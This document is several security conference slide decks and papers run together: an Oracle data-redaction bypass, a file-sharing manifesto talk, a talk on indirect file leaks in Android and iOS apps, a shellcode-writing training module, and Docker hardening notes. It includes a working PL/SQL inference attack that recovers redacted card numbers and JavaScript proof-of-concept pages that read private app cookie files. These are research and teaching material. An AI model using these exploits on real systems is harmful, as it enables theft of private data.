<ROW><CC>4111222233334444</CC><ID>1</ID></ROW><ROW><CC>3998887776665554</CC ><ID> Again, this is just another oversight on Oracle’s part. Another way to gain access to the data is with an iterative inference attack. It is possible to access data in a SELECT's WHERE clause. This gives an attacker the opportunity to essentially guess or brute-force the data in a redacted column using a WHERE data LIKE predicate. Consider the following PL/SQL procedure. This simply tests the value of a given character at a given offset into the string. When it gets the first character correct it moves on to the next character and so on until all 16 characters of the credit card have been ascertained. SQL> set serveroutput on SQL> create or replace procedure p_undoredaction is 2 buf varchar(40); 3 t char; 4 x number; 5 i number; 6 c number; 7 begin 8 i := 0; 9 c := 1; 10 while c < 17 loop 11 select count(*) into x from redactiontest where substr(cc,c,1)=to_char(i); 12 if x > 0 then 13 c := c+1; 14 buf := buf || to_char(i); 15 i := 0; 16 else 17 i := i+1; 18 end if; 19 20 end loop; 21 dbms_output.put_line('CC: ' || buf); 22 end; 23 / Procedure created. SQL> exec p_undoredaction; CC: 4111222233334444 PL/SQL procedure successfully completed. SQL> This type of iterative inference attack is trivial and could be launched via a web based SQL injection flaw. Escalating privileges using DBMS_REDACT Anyone with the privileges to execute DBMS_REDACT can create redaction policies on any table in any schema except the SYS schema. As such an attacker can execute code as that user by passing a nefarious function in the “EXPRESSION” clause of DBMS_REDACT. When that owner next queries the table the attacker's function will execute. An attacker would target users that run background processes where tables are automatically queried such as GSMADMIN_INTERNAL querying the CLOUD table or the APEX user querying the WWV_FLOW_MAIL_QUEUE table. Use as a lateral SQL injection tool Due to the fact that it changes the data returned in a query, an attacker could use a redaction policy to exploit a 2nd order SQL injection flaw. Assume there is a PL/SQL package that sanitises input going into the application, then retrieves that same data later. Because it has already been sanistised on the way in the developer may assume that there’s no need to check it again and trusts the structure of the data before passing into a dynamic SQL query. By applying a policy to such “trusted” data an attacker could affect a lateral SQL injection attack. Recommendations Oracle data redaction could be strengthened firstly by fixing the DML RETURNING INTO and XMLQUERY() bypasses and also by allowing a policy to determine whether a redacted column can be referenced in a WHERE clause. This would prevent the iterative inference attack. A further improvement by Oracle would be to not allow a user to create policies on tables in another schema unless that user is SYS or SYSTEM or has the appropriate ANY privilege. In the interim, only grant the execute privilege to DBMS_REDACT to those users that require it, and once the redaction policies have been put in place revoke their execute privileges. As it stands, Oracle data redaction is a pretty cool feature but cannot be relied on to protect data.
pdf
Saving Cyberspace by Reinventing File Sharing Eijah v1.0 The Modern Internet A Price of Convenience “…One  can  easily  remain  free  of  even  the  most  intense  political  oppression  simply  by  placing  one’s  faith  and  trust  in   institutions of authority.”   – Glenn Greenwald “When  I  am  afraid,  I  put  my  trust  in  you.”   – Psalm 56:3 2 A State of Change • The Argument • Internet access is a basic human right • We have the right to share our content freely • The Modern Internet • The right to share files online has been under assault • Governments, corporations and others fear openness • Losing our fundamental rights to privacy and personal beliefs • The Goal • Individual privacy rights and freedoms are protected • Digital self-expression is commonplace and encouraged 3 A State of Unity and Distrust • Corporations and 3rd Parties • Ubiquitous and pervasive computing • Interoperability through industry standards • Data breaches, financial repercussions, erosion of trust, and the bottom line • Users • Division between an individual and his/her data • Are we greater than the sum of our personal data? • Who owns our information? • Governments and Enforcers • Data aggregation and mining • The ease of accountability • Unlawful transparency 4 A State of Recovery • The Qualifications • Experts in our fields • An arsenal of tools, experiences, and technologies • We choose not to live in a world of illegal surveillance • The Right to Share • Data manifesto • A recipe for changing the world • The path to limitless file sharing • Secure transfer of personal information between all of your devices, from anywhere in the world • Understanding our right to share is the first step 5 A Brief History From FTP to µTorrent “The  increase  of  disorder  or  entropy  is  what  distinguishes  the  past  from  the  future,  giving  a  direction  to  time.” – Stephen Hawking, A Brief History of Time “Information  is  power.    But  like  all  power,  there  are  those  who  want  to  keep  it  for  themselves.” – Aaron Swartz 6 File Sharing Models • Centralized • Client-Server • Web-Based • File Systems • Cloud Computing • Streaming • Decentralized • Peer-to-Peer • Content Distribution • Streaming 7 Centralized Model • Client-Server • S/FTP • Usenet • IRC • Web-Based • MediaFire • Mega(upload) • RapidShare • File Systems • NTFS • Samba • NFS • Cloud Computing • Microsoft Azure, OneDrive • Amazon Web Services • Google Drive • Dropbox, Box • Streaming • Netflix • Amazon Prime • HBO Go • Revision 3 • Crackle • Hulu (+) • Aereo (RIP) C2 C0 C3 C5 C4 C1 S1 8 Centralized Model • Pros • Stability • Computational capacity • Simplified programming model • Dedicated hosting benefits • Cons • Proprietary • Expensive to configure and run • Digital Rights Management (DRM) • Identity (IP) and usage transparency • Credential-based security • Personal liability • Auditability C2 C0 C3 C5 C4 C1 S1 9 Decentralized Model • Peer-to-Peer • Napster • BitTorrent • Instant Messenger • IRC (DCC) • Content Distribution • Rsync • Plex • Streaming • Chromecast • DLNA C5 C4 C0 C2 C1 C3 10 Decentralized Model • Pros • Reliability • Fault tolerance • Redundancy • Scalability • Interoperability • In perpetuity • Cons • Security • Identity (IP) and usage transparency • Loss of anonymity • Personal liability • Auditability C5 C4 C0 C2 C1 C3 11 File Sharing Problems • Insecure • Trust a 3rd party source • Reveal your identity via P2P • Illegal disconnections • Complacent • Forcing us to seek alternate viewing methods • File-sharing is a method by which the industry is forced to evolve • Adapt or die • Expensive • The Cloud • Dropbox, Box • HBO Go 12 File Sharing Problems • Inflexible • I want my files available everywhere at all times • I don't want to force-sync content across all devices • Not everybody should be forced to seed • Acquisition vs. Aggregation • What if I'm offline? • Inconvenient • I  don’t  want  to  watch  ads • I want to watch the show that I am paying for • Hulu+ should be more like Netflix • People will pay for content if it's convenient and reasonably priced • Netflix, Amazon Prime, Crackle, Revision 3 13 A Recipe for Change From Lemons to Fruity Juice “I  don’t  want  to  live  in  a  world  where  there’s  no  privacy,  and  therefore  no  room  for  intellectual  exploration  and  creativity.” – Edward Snowden “People who think they know everything really annoy those of us who know we don't.” – Bjarne Stroustrup 14 A Tricky Business • Conflicting Interests • Availability, performance, and ease of use • Anonymity and security • Market Evolution • Inadequacy breeds innovation • Created a niche market for such products • VPN’s  and  proxies • Cloud computing • Rapidshare, Mega(upload) • Dropbox, Box • Plex • The Next Generation • Leverage our over-priced ISP connections • File sharing can do better 15 Key Principles of File Sharing • Authoritative Source • Stateless Authentication • Modular Security • Standard Protocols • Distributed Endpoints 16 Authoritative Source • Overview • Primary repository of trusted data • Data is the foundation of file sharing • First to be secured • Last to be compromised • Too Quick to Trust • Models based on trust are flawed • Where has trust historically gotten us? • Don’t  be surprised when trust is betrayed • Once  it’s  gone,  it’s  gone  forever Saving Cyberspace means that we need to reclaim the Authoritative Source 17 Authoritative Source • A Costly Convenience • The price of the Modern Internet • We’ve  already  given  away  so  much • Applications fight over control of our data • Companies abuse our sensitive data • The bottom line seldom favors the customer • Too Much to Lose • The control of our sensitive data • The  power  to  protect  what’s  ours • The certainty that our data is protected • The choice to respond to attacks • The ability to remain anonymous Saving Cyberspace means that we need to reclaim the Authoritative Source 18 Authoritative Source • The Solution • Take responsibility • Reclaim the Authoritative Source • Do what companies continue to fail at • Anonymize our file sharing habits • Secure our data Saving Cyberspace means that we need to reclaim the Authoritative Source 19 Stateless Authentication • Overview • Form of shared secret authentication • Leverages shared assets or other known data • Shared secret is obvious to a very specific group • Dynamic encryption algorithms • State-Based Applications • What does it mean to authenticate? • Inadequate file sharing security models • Credentials are antiquated and unnecessary • Certificates rely on trusted 3rd parties • No registration process or data storage • Security only needs to be secure enough Saving Cyberspace means that we will need to redefine authentication 0xEFF C2 C1 0x0FF C0 20 Stateless Authentication • Data Oversight • Who’s  storing  our  information? • How is our data being used? • Who’s  selling  us  out  to  the  government? • Companies are incapable of protecting our data • The Solution • Shared authentication creates temporary trust • Breaches  don’t  reveal  any  personal  information • Don’t  have  to  worry  about  identity  leakage • If you want it done right, do it yourself • “Doveryai,  no  proveryai” Saving Cyberspace means that we will need to redefine authentication 0xEFF C2 C1 0x0FF C0 21 Modular Security • Overview • Based on Layered Security • Division of authority and separation of duties • Total is greater than the sum of the parts • Inability to store complete secrets • Double-blind • Plausible Deniability • Always assume somebody is listening • Multiple modules of defense resist penetration • What  they  don’t  know  won’t  hurt  you • They  can’t  audit  what  you  don’t  have • Entire system must be compromised Saving Cyberspace means that we will need to implement a modular approach to security C1 2 1 3 4 5 6 2 1 3 4 5 6 R1 2 1 3 4 5 6 R0 2 1 3 4 5 6 C0 22 Modular Security • Applications • Poor choices in software architecture/design • Too many single points of failure • Reveal too much information • The Solution • Messages increase strength as they propagate • Each  module  is… • Isolated • Autonomous • Self-sufficient • Resistant to attacks Saving Cyberspace means that we will need to implement a modular approach to security C1 2 1 3 4 5 6 2 1 3 4 5 6 R1 2 1 3 4 5 6 R0 2 1 3 4 5 6 C0 23 Standard Protocols • Overview • Creating a file sharing application is science • Creating a message protocol is art and wizardry • Benefits • Interoperability • Undetectable  means  we’re  essentially  invisible • Designing a good protocol is hard work • A transport protocol is just a means to an end • More concerned with the exchange of data • The Solution • Use pre-existing protocols and standards • HTTP, XML, JSON, etc. Saving Cyberspace means that we need to adhere to a standard set of pre-existing transfer protocols XML C0 C1 JSON TCP/IP HTTP R0 R1 24 Distributed Endpoints • Overview • Hybrid model • Transformational network • Centralized Model is Evil • Activities monitored or logged? • What happens if the server goes down? • Ability  to  share  files  shouldn’t  depend  on   others • Never trust 3rd parties, corporations, or others that comply with data retention and copyright laws Saving Cyberspace means that we will need to support a more flexible and distributed model for file sharing XML C0 C1 JSON TCP/IP HTTP R0 R1 0xEFF 25 Distributed Endpoints • Decentralized Model is Evil • Created a market for IP concealment services • Danger of incoming connections • IP address as a personal identifier • Not suitable for low-power devices • Inequality for all • Device Agnostic • Workstations, Servers, and Laptops • Windows, Linux, Mac, Android, and iOS. • Tablets, Phones, embedded, and other low-power consumption devices Saving Cyberspace means that we will need to support a more flexible and distributed model for file sharing XML C0 C1 JSON TCP/IP HTTP R0 R1 0xEFF 26 • Personal Network • Pervasive and ubiquitous • Can be used by individuals, families, or millions • The world in the palm of your hand • The Solution • Best of both worlds, worst of neither • No direct communication, no fixed servers • Based on network routing technologies • Autonomy and segregation of duties • Division of authority Saving Cyberspace means that we will need to support a more flexible and distributed model for file sharing XML C0 C1 JSON TCP/IP HTTP R0 R1 0xEFF 27 Distributed Endpoints Believe in the Right to Share “If  you  want  to  achieve  something,  you  build  the  basis  for  it.” – Noam Chomsky “The  only  way  to  keep  a  secret  is  to  never  have  one.” – Julian Assange 28 The Missing Link • Dilemma • Do we really need another file-sharing app? • Casual Dropbox user with an addiction to torrents • Not happy with the current state of file sharing apps • Share with friends, family, and/or strangers • Access to all my content from anywhere in the world • Fine-grained control • Current Offerings • Why doesn't a solution for me not already exist? • It might, depending on your specific needs • If not, what is your willingness to compromise and/or assume risk? • With the right minds, this should be an easy problem to solve 29 Demonsaw • Free • No ads • Anonymous • No logging • No registration • No data retention • No loss of control • Secure • No P2P • No centralized servers • Everything is encrypted • Undetectable by companies, governments, and 3rd parties 30 Demonsaw • Simple • Share, Search, Browse, Transfer • Use at home, work, or while traveling • Scalable • Share files with yourself • Share files with family and friends • Share files with hundreds of your closest friends • Multi-Platform/Device • Windows, Linux, Mac • Android, iOS • Web • Demo 31 Architecture • Overview • A file sharing system should be flexible • There is no such thing as fair • Cater to individual needs • Design • Entity Component System (ECS) • Faster, more flexible, and easier to extend • Content • Separate messages and data • Unable to deduce what type of content exchange is occurring • Need-to-know basis 32 Architecture • Encryption • Messages and data are always encrypted • Leverage work on encryption standards and secure message exchange • Mutating, Automatic, Isolated, Data-Driven, and Stateless • Authentication, authorization • Diffie Hellman, AES, etc. • Client • Share files • Transfer files 33 Architecture • Router • Group clients • Control program flow • Relay messages and/or data chunks • Proxy • Interface with external content sources • Acquisition vs. aggregation 34 Individual R0 C3 C1 C2 C0 0xEFF 35 Friends and Family R0 C3 C1 C2 C0 R1 0xEFF R2 36 Organization 0xEFF 0x0FF R0 C0 C3 C2 C5 C4 R4 R1 R3 C1 R2 0xCAD 0xEFF R8 R6 R7 R5 C8 C6 C7 C9 R9 Session Propagation 0xEFF 37 Summary The Path Forward “Only a life lived for others is a life worthwhile.” – Albert Einstein “And  one  more  thing.” – Steve Jobs 38 Changing the World • Self-Empowerment • We possess a tremendous amount of talent • We're good at what we do and we enjoy what we're good at • Our skills are used to find vulnerabilities and exposing weaknesses • Create something new and beautiful that has the power to change the world • Enacting Change • Demonsaw is a tool • Allows us to deviate from the antiquated and insecure model of file-sharing • It gives us a new way to share our content without fear of retribution • It is my hope that Demonsaw will enact change in content distribution • Go  forth  and  share… 39 Thank you Web Email Twitter Facebook Eijah 40 Appendix Standing on the Shoulders of Giants “Freedom  is never more than one generation away from extinction. We didn't pass it to our children in the bloodstream. It must be fought for, protected, and handed on for them to do the same.” – Ronald Reagan “Then  Jesus  asked  him,  What  is  your  name?  My  name  is  Legion,  he  replied,  for  we  are  many.” – Mark 5:9 42 References • Wikipedia • http://en.wikipedia.org/wiki/File_sharing • http://en.wikipedia.org/wiki/Client_server • http://en.wikipedia.org/wiki/Peer_to_peer • Images • http://studentaffairs.duke.edu/sites/default/files/u7/dos_RIAA.png • https://www.flickr.com/photos/hughelectronic/sets/72157603862426534 • http://www.timeshighereducation.co.uk/news/academy-and-business-aim-to-reforge- language-supply-chain/2007785.article • Network Models • http://www.ianswer4u.com/2011/05/client-server-network-advantages- and.html#axzz3681DuDJP • http://www.ianswer4u.com/2011/05/peer-to-peer-network-p2p-advantages- and.html#axzz3681DuDJP • http://www.cmswire.com/cms/document-management/the-business-benefits-of-hybrid- online-file-sharing-024182.php • http://www.workshare.com/workshare/esg-report-the-demand-for-hybrid-online-file- sharing-solutions 43 Quotes “When  I  am  afraid,  I  put  my  trust  in  you.”   – Psalm 56:3 “If  you  want  to  achieve  something,  you  build  the  basis  for  it.” – Noam Chomsky “Freedom  is  never  more  than  one  generation  away  from  extinction.  We  didn't  pass  it  to  our  children  in  the  bloodstream.  It   must  be  fought  for,  protected,  and  handed  on  for  them  to  do  the  same.” – Ronald Reagan “The  increase  of  disorder  or  entropy  is  what  distinguishes  the  past  from  the  future,  giving  a  direction  to  time.”   – Stephen Hawking, A Brief History of Time “Information  is  power.  But  like  all  power,  there  are  those  who  want  to  keep  it  for  themselves.” – Aaron Swartz “I  don’t  want  to  live  in  a  world  where  there’s  no  privacy,  and  therefore  no  room  for  intellectual  exploration  and  creativity.” – Edward Snowden “People  who  think  they  know  everything  really  annoy  those  of  us  who  know  we  don't.” – Bjarne Stroustrup “If  life  gives  you  lemons,  make  some  kind  of  fruity  juice.” – Conan  O’Brien 44 Quotes “The  only  way  to  keep  a  secret  is  to  never  have  one.” – Julian Assange “You  can  now  be  a  master  of  your  own  destiny.” – Sean Parker “Only  a  life  lived  for  others  is  a  life  worthwhile.” – Albert Einstein “And  one  more  thing.” – Steve Jobs “Non-conformity  is  the  only  real  passion  worth  being  ruled  by.” – Julian Assange “…One  can  easily  remain  free  of  even  the  most  intense  political  oppression  simply  by  placing  one’s  faith  and  trust  in   institutions  of  authority.”   – Glenn Greenwald “When  the  man  with  the  demon saw Jesus  a  long  way  off,  he  ran  and  worshiped  Him.” – Mark 5:6 “Then  Jesus  asked  him,  What  is  your  name?  My  name  is  Legion,  he  replied,  for  we  are  many.” – Mark 5:9 45 Demo Demonsaw 1.0 (alpha) “Non-conformity  is  the  only  real  passion  worth  being  ruled  by.” – Julian Assange “You can now be a master of your own destiny.” – Sean Parker 46 Share 47 Search 48 Browse 49 Transfer 50
pdf
Cross-Platform Analysis of Indirect File Leaks in Android and iOS Applications Daoyuan Wu PhD Candidate at SMU HITCON Pacific’17 Appified World 2 Pic source: https://www.hughesandco.com/native-mobile-apps-vs-web-apps/ Mobile Sandbox Pic source: http://hiqes.com/android-security-part-1/ × Different threat model from the PC side 3 Direct File Leak Case: https://tinyurl.com/CVE-2011-1717 Reference: The SEAndroid paper in NDSS’13. Once worked; but no longer with SEAndroid -rw-rw-rw- main.db -rw-rw-rw- shared.xml CVE-2011-1717 for SKype × 4 $ getenforce Enforcing How to steal private app files within the protection of SEAndroid? Remote Adversary IFL: Indirect File Leak Deputy Component Local Adversary SEAndroid cannot check it Allowed by SEAndroid 6 Exploitable Deputy Components Deputy Components for IFLs Content Provider Browsing Interface Command Interpreter Embedded App Server 7 What is Android Content Provider? • System providers: – “content://sms/” – “content://call_log/” – “content://browser/ bookmarks” • Apps’ own providers: – “content://qq.profile/ info” – “content://qq.friend list/friendlist Android App Read/Write Interface 8 Data Content Provider IFL via Content Provider 9 1 2 10 http://www4.comp.polyu.edu.hk/~appsec/ Many Popular Apps were identified by us to be vulnerable (over 60 CVEs) 11 Spent a lot of efforts writing reports (now first released in HITCON’17) https://github.com/daoyuan14/ContentProviderReports • It all started with reading API document: • I tested the first PoC on Mi Talk (米聊) – In the end of Oct 2011 (tested on v2.1.280); – We should make a good paper () as the 1st reporter. Story Behind 12 By default exported before Android 4.2 targetSdkVersion < 17 The major focus of this talk: IFL over Browsing Interface IFL via Browsing Interface • What is browsing interface? – Almost everywhere in popular apps: • See next slide. 14 Facebook’s Browsing Interface Twitter’s Browsing Interface WeChat’s Browsing Interface Whatsapp’s Browsing Interface Yahoo Mail’s Browsing Interface 15 IFL via Browsing Interface • What is browsing interface? – Almost everywhere in popular apps: • See the previous slide. – Android: WebView (webkit) • Apps can implement their own web/rendering engine. – iOS: UIWebView (webkit) • Apps must use this engine, even for Chrome and Firefox. • Two kinds of IFLs via browsing interface: – sopIFL: bypass the same-origin policy to steal files – aimIFL: execute injected JS directly on target files 16 sopIFL: IFL via bypassing same-origin policy 17 http://www.atk.com  file:///data/data/pkg/cookie (SOPf1) file:///sdcard/atk.html  file:///data/data/pkg/cookie (SOPf2) We focus on this! SOPf2 on Android and iOS • Android: – setAllowFileAccessFromFileURLs (boolean flag) • By default true before Android 4.1; • After 4.1: Developers must compile their apps using SDKs > 4.1. • iOS: – Prior to iOS 9, SOPf2 was broken. • We reported it to Apple on Jan 2015 (CVE-2015-5921). • Root cause: – The legacy SOP cannot adequately cover the local schemes. – According to the typical web SOP principle, • Legal for a file A (at file:///dir1/a.html) to access another file B (at file:///dir2/b.txt). • Because the two origins share the same scheme, domain (i.e., 127.0.0.1 or localhost), and port. 18 Prior to iOS 9 (even the latest iOS), SOPf2 is still broken. The FileCross attacks 19 Auto-downloaded to the SD card. Victim Browser Sensitive files Private File Zone Exposed Browsing Interface file:///data/data/pkg/dir/Cookies file:///path/attack2.html file:///path/attack4.html file:///path/attack3.html Attack App attack4.html <html><body><h1>attack2</h1><script> var aim = '/data/data/pkg/dir/Cookies'; function sendFile(txt) { … } var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if (xhr.readyState == 4){ sendFile(xhr.responseText); } }; xhr.open('GET', aim); xhr.send(null); <script></body></html> <html><body><h1>attack4</h1><script> var aim = document.URL; function sendFile(txt) { … } setTimeout(function() { var xhr = new XMLHttpRequest(); xhr.onload = function() { sendFile(xhr. responseText); }; xhr.open('GET', aim); xhr.send(null); }, 8000); <script></body></html> The External file:// Browsing Requests <html><body><h1>attack3</h1><script> var aim = 'https://mail.google.com'; function sendFile(txt) { … } var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if (xhr.readyState == 4){ sendFile(xhr.responseText); } }; xhr.open('GET', aim); xhr.send(null); <script></body></html> (A4) (A2) (A3) (A1) attack3.html attack2.html Thread.sleep(4000); rm /path/attack4.html ln –s /.../Cookies /path/attack4.html Cmd 4 Cmd 1 Execute Cmd 4 Execute Cmd 1 Thread.sleep(3000); filepath = findFileInSDcard("Cookies"); if (filepath) readFileFromSDcard(filepath); attack2 .html Cookies Compromise SOP on the “host” level attack3 .html http(s):// content Compromise SOP on the “protocol” level attack4 .html docume nt.URL Cookies Compromise SOP via symbolic links Detailed sopIFL PoC on Android 20 A2 A4 1 2 2 3 1 2 3 4 • 64 (out of 115) Android browser apps were identified by our system to be vulnerable. • The system and raw results are available at https://sites.google.com/site/androidfilecross 21 How about sopIFL on iOS? iOS apps vulnerable to sopIFL I will first explain three cases, and then show how to write PoC exploits. 23 sopIFL case study: Evernote (iOS) 2. Victim opens the file in Evernote via iOS’s “open with” feature 1. Attacker sends a crafted HTML file to victim via WeChat 3. Evernote’s cookie file is stolen 24 sopIFL Case Study: Mail.Ru (iOS) 1. Attacker sends an email with a crafted attachment (HTML). 3. Mail.Ru’s database file is stolen. 2. Victim opens it 25 sopIFL case study: QQ (iOS) 1. Attacker sends an a crafted HTML file in the QQ’s chat box. 2. Victim opens it 3. QQ’s private database file is stolen. 26 sopIFL PoC for Evernote iOS <script> var aim = '../../../../../Cookies/Cookies.binarycookies'; function doAttack() { var xhr = new XMLHttpRequest(); xhr.overrideMimeType('text/plain; charset=iso-8859-1'); xhr.open('GET', aim); xhr.onreadystatechange = function() { if (xhr1.readyState == 4) { var txt = xhr1.responseText; alert(txt); //sendFile(txt) } }; xhr.send(); } doAttack(); </script> How to obtain this relative file path for iOS apps? 27 Tools for accessing iOS app files • libimobiledevice: – http://www.libimobiledevice.org/ – Cross-platform: able to run on Linux • Some GUI tools (based on the library/iTunes): iTools iExplorer iFunBox 28 Works on non-jailbreak iOS devices 29 Obtaining the Relative File Path (Does not support iOS 8.3 and later) 30 Obtaining the Full File Path • Challenges: – The app directory is a random name on iOS. • Unlike Android cases, always a fixed package name: “/data/data/packagename/…” • https://play.google.com/store/apps/details?id=org.mozilla.firefox “/data/data/org.mozilla.firefox/…” – Directly probing the app directory name requires the root privilege on iOS: 31 Obtaining the full file path on a non-jailbroken iOS device • Works only for apps with browsing interfaces. • Basic idea: – Import a local HTML file into the target app. – This HTML file has the probing JavaScript code: alert(document.location); • How to import a HTML file? – Use the “Import” function in the previous iTools; – Use the “Open-with” feature on iOS. 32 The probing result using the imported HTML file 33 Each new installation generates a different app dir. Also obtain the path of exploit file. Next, on aimIFL aimIFL: IFL via executing unauthorized JavaScript directly on target files 35 aimIFL-1 aimIFL-2 1 1 2 2 The attack URL actively loads the target file. The victim app loads the target file (as a feature). 3 3 3 Apps vulnerable to aimIFL 36 How to load the target file through these schemes? A Simple Case of aimIFL-1 via file:// 37 1 User clicks a HTTP link JS (OK<script>alert(document.body .innerHTML)</script>) is injected into the target file webviewCookies Chromium.db via the HTTP cookie. 2 User clicks a file link An Evolved Case of aimIFL-1 via file:// 38 1 JS (OK<script>alert(document. location)</script>) is injected into the history table of dbbrowser.db via the title. 2 Ask user to long press the link 3 Open WebView by default does not provide this functionality. aimIFL-1 via content:// for 360 Safeguard 39 content://com.qihoo360.mobil esafeguard/data/data/com.qih oo360.mobilesafe/databases/ mobilesafeguard.db 1 JS is injected via the cookie 2 2 file:// does not work aimIFL-2 on Android: Zirco Browser 40 JS is injected via the URL title aimIFL-2 on iOS: myVault 41 Briefly introducing cmdIFL and serverIFL http://tinyurl.com/fixissue374 https://github.com/jackpal/Android-Terminal-Emulator/pull/375 IFL via Command Interpreter • cmdIFL: exploit command interpreters as deputies inside victim apps to execute unauthorized commands for file leaks. 43 IFL via Embedded App Server • serverIFL: send unauthorized file extraction requests to embedded app server deputies inside victim apps to obtain private files. • Top 10 server-like apps on Android and iOS: 44 serverIFL Case Study: Vaulty • 5M – 10M installs on Google Play • For people with the need of private pics/videos. 45 serverIFL Case Study: Vaulty 46 com.squidtooth.vault.data.Provider class Create an embedded HTTP server (surprisingly, inside the Provider) Listening on the fixed port no.: 1562 serverIFL Case Study: Vaulty 47 A remote adversary can easily steal users’ private files by iterating through the ID numbers. Android vs iOS in terms of the impact of IFL attacks • Implication 1: The common practice in iOS apps to open (untrusted) files in their own app domain could lead to more pervasive and powerful sopIFL attacks on iOS than Android. • Implication 2: The randomized app data directory on iOS makes it difficult to conduct the aimIFL-1 attacks on iOS. 48 Android vs iOS in terms of the impact of IFL attacks • Implication 3: Apple’s strict app review prevents iOS apps from executing bash commands. An adversary therefore cannot find targets to launch the cmdIFL attacks on iOS. • Implication 4: iOS generally does not allow background server behavior, which reduces the chance of the serverIFL attacks on iOS. 49 Rule 2.8: Apps that install or launch other executable code will be rejected. The IFL model 50 Daoyuan Wu Twitter: dao0x | Gmail: daoyuan0x https://daoyuan14.github.io IFL vulnerabilities on Android & iOS Takeaway References 1. D. Wu and R. Chang. Indirect file leaks in mobile applications. In Proc. IEEE Mobile Security Technologies (MoST), 2015. – The slides are mainly based on this paper. 2. D. Wu and R. Chang. Analyzing Android Browser Apps for file:// Vulnerabilities. In Proc. Springer Information Security Conference (ISC), 2014. – The sopIFL on Android is based on this paper. 51
pdf
Module 1 A journey from high level languages, through assembly, to the running process https://github.com/hasherezade/malware_training_vol1 Creating shellcodes Shellcode: advantages • Self-sufficient: easy to inject into other applications • Small: can fit into a tiny space i.e. section caves • May be used as a loader: first code injected into an application, that follows to load other modules • Sometimes (but less often) the full malicious functionality can be implemented as shellcode (i.e. Fobber malware) • This type of code was popular in the past, virus era: where malware code was added to existing PE files (rather than injected into processes) Creating shellcode • In case of PE format we just write a code and don’t have to worry how it is loaded: Windows Loader will do it • It is different when we write shellcode • We cannot rely on the conviniences provided by PE format and Windows Loader: • No sections • No Data Directories (imports, relocations) • Only code to provide everything we need... Creating shellcode Feature PE file shellcode Loading • via Windows Loader • running new EXE triggers creation of a new process • Custom, simplified • must parasite on existing process (i.e. via code injection + thread injection) Composition Sections with specific access rights, carrying various elements (code, data, resources, etc) Usually all in one memory area (read,write,execute) Relocation to the load base Defined by relocation table, applied by Windows Loader Custom; position-independent code Access to system API (Imports loading) Defined by import table, applied by Windows Loader Custom: retrieving imports via PEB lookup; no IAT, or simplified Position-independent code • In order to create a position-independent code, we must take care that all the addresses that we use are relative to the current instruction pointer address • A short jump, long jump, call to a local funcion are relative -> we can use them! • Any address that needs to be relocated (i.e. using of the data from different PE section) breaks the position independence: Retrieving the Imports • In order to retrieve the imported functions, we will take advantage of the linklist pointed by PEB Image from: http://blog.malcom.pl/2017/shellcode-peb-i-adres-bazowy- modulu-kernel32-dll.html Retrieving the Imports • In order to retrieve the imported functions, we will take advantage of the linklist pointed by PEB Retrieving the Imports • We will process each entry, searching for the DLL that we need... L”Ntdll.dll” Next LDR_DATA_TABLE_ENTRY Retrieving the Imports 1. Get the PEB address 2. Via PEB->Ldr->InMemoryOrderModuleList, find: • kernel32.dll (loaded in majority of the processes after initialization) • or ntdll.dll (if we want to use low-level equivalents of Import loading functions) 3. Walk through exports table to find addresses of: • LoadLibraryA/W (eventually: ntdll.LdrLoadDll) • GetProcAddress (eventually: ntdll.LdrGetProcedureAddress) 4. Use LoadLibraryA/W to load other needed DLLs 5. Use GetProcAddress to retrieve functions Creating shellcode: assembly • We can use YASM for shellcodes written in pure assembly: • We will not use a linker, which means: • we need to fill imports by ourselves • we need to take care of relocations – or make the code position-independent yasm –f bin demo.asm Creating shellcode: C • We can use a C compiler to generate assembly: • ...that we will refactor to our shellcode, and compile by masm: • it will generate a PE: we will cut out the code section, that is our shellcode • The key is the refactoring! We need to follow all the principles of building shellcodes... Cl /c /FA <file_name>.cpp ml <file_name>.asm Creating shellcode: C • Use the given template, and refactor the application in C into a valid shellcode, by following the steps... Exercise time... Further readings... • From a C project, through assembly, to shellcode: • https://vxug.fakedoma.in/papers/VXUG/Exclusive/FromaCprojectthroughassemblytoshellcodeHas herezade.pdf
pdf
1 2 What's the big deal about Docker/AppCanyways? We've had containers for 20 years. What new things are they bringing to the table aka how are they different from LXC and traditional containers? What these new container formats, which leverage existing technologies introduce is that they ease not just the ability to run applications in isolation but more importantly they vastly ease the build and ship parts of the equation as well. They take the ease of use of application deployment that Chef/Puppet etc to the next level while simultaneously reducing complexity at the same time. The value of this shift cannot be overstated. This value is added by wrapping the container in a metadata layer (actually multiple layers but that’s another story) that describes the configuration of the container and its contents. As a result of this wrapping, are no longer just about security but are now also to all intents and purposes another packaging format with all of the benefits and downsides that come with said systems. Where this gets particularly exciting however is that this isn’t limited to an individual executable being deployed but can be entire application stacks. This goes well beyond a traditional package stating what its dependencies are and enabled one stop shipping of an entire application in one fell swoop. This creates benefits for everyone from dev to qa to production regardless of the underlying development frameworks being used. It also addressed many of the problems traditionally faced by organizations trying to leverage multi-cloud or multi-cloud-account 3 application architectures. Of course, it’s not all rainbows and unicorns, using tools like containers does introduce their own sets of security considerations, none of which are insurmountable, but nonetheless need taking into consideration. So what are the general issues that containers introduce? Unsurprisingly, these are mostly they are a lot of the same issues that virtualization and cloud introduced over the last decade or so but with some twists and variations. But at a high level it’s just not that different. So that’s actually some pretty good news. Security people, sometimes myself included looooove to bash on new tech. Well I got some news for y’all. Containers are here to stay. So it’s time to get on the bus or get run over by it. 3 So there have been a handful of really fun posts from people showing how you can trivially get root on a box if you have root level access in a container and sometimes even if you don’t. 4 With one main exception (which I’ll get to later), these now require that you already have root on the host OS already. Over the past year the Dockerteam has done a tremendous job making security fixes and also changing to much more sensible default configuration modes. 5 6 7 Namespaces (except user namespaces (yet!) cgroups dedicated network stacks manifest signing (and it’s getting better!) 8 9 That being said, there’s a bunch of stuff to keep in mind when deploying Docker that you’ll want to do to further harden your systems. (h/t to DockerCIS Benchmark) Locking down docker: Restrict network traffic between containers turn on auditdfor dockerfor files and network Then monitor/audit those logs only use ssl/tlsenabled registries (default) don't enable dockerto listen on network port but if you must enable tlsauth lock down all config files to root.root and perms of 644 or tighter lock down all certs/keys to root.root and perms of 400 run containers as non-root users only use trusted images More on that later minimize package installs 1 app/process per container 10 Restrict Linux Kernel Capabilities within containers For example, capabilities such as below are usually not needed for container process: NET_ADMIN SYS_ADMIN SYS_MODULE Don't use privileged containers Do not mount sensitive host system directories on containers Eg /etc /dev /proc Don't ssh into containers use nsenter Don't use priviligedports if at all possible Set reasonable maximums for memory usage Set reasonable cpupriority Set reasonable ulimits Mount containers root partition at read-only Restrict inbound traffic to specific interfaces Limit automated container restarts to a small number 